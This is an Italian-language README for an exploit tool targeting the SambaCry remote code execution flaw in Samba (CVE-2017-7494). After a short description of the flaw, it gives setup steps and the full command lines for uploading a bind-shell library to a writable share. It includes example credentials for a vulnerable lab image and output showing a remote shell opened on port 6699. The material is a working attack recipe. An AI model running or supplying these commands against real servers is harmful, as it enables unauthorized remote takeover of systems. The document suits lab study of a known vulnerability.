
SambaCry exploit (CVE-2017-7494)
Samba è un software libero che reimplementa il protocollo di rete SMB/CIFS. Samba fornisce servizi di file e stampa per vari client Microsoft Windows e può integrarsi con un dominio Microsoft Windows Server, sia come Domain Controller (DC) che come membro del dominio. A partire dalla versione 4, supporta Active Directory e i domini Microsoft Windows NT.
Samba nella versione 4.5.9 e precedenti è vulnerabile a una vulnerabilità di esecuzione remota di codice chiamata SambaCry. CVE-2017-7494 consente a utenti autenticati remoti di caricare una libreria condivisa in una cartella condivisa scrivibile e di eseguire attacchi di esecuzione di codice per prendere il controllo dei server che ospitano servizi Samba vulnerabili.
Samba 3.x dopo 3.5.0 e 4.x prima di 4.4.14, 4.5.x prima di 4.5.10 e 4.6.x prima di 4.6.4 non limita il percorso del file quando si utilizzano named pipe di Windows, il che consente a utenti autenticati remoti di caricare una libreria condivisa in una cartella condivisa scrivibile e di eseguire codice arbitrario tramite una named pipe appositamente predisposta.
Usa poetry per configurare l'ambiente per questo exploit
pip3 install -r requirements.txt
Dopodiché puoi eseguirlo come segue:
./exploit -t <target> -e libbindshell-samba.so \
-s <share> -r <location>/libbindshell-samba.so \
-u <user> -p <password> -P 6699
Ad esempio, se usi l'immagine vulnerabile da vulnerables/cve-2017-7494 e vuoi eseguire questo exploit contro di essa:
./exploit -t <target> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
E otterrai il seguente output:
./exploit -t <target> -e libbindshell-samba.so \
-s data -r /data/libbindshell-samba.so \
-u sambacry -p nosambanocry -P 6699
[*] Starting the exploit
[+] Authentication ok, we are in !
[+] Preparing the exploit
[+] Exploit trigger running in background, checking our shell
[+] Connecting to 10.1.1.5 at 6699
[+] Veryfying your shell...
Linux 7a4b8023575a 3.16.0-4-amd64 #1 SMP Debian 3.16.39-1+deb8u1 (2017-02-22) x86_64 GNU/Linux
>>
Il payload per questo progetto, insieme al codice, è stato fortemente ispirato da opsxcq/exploit-CVE-2017-7494.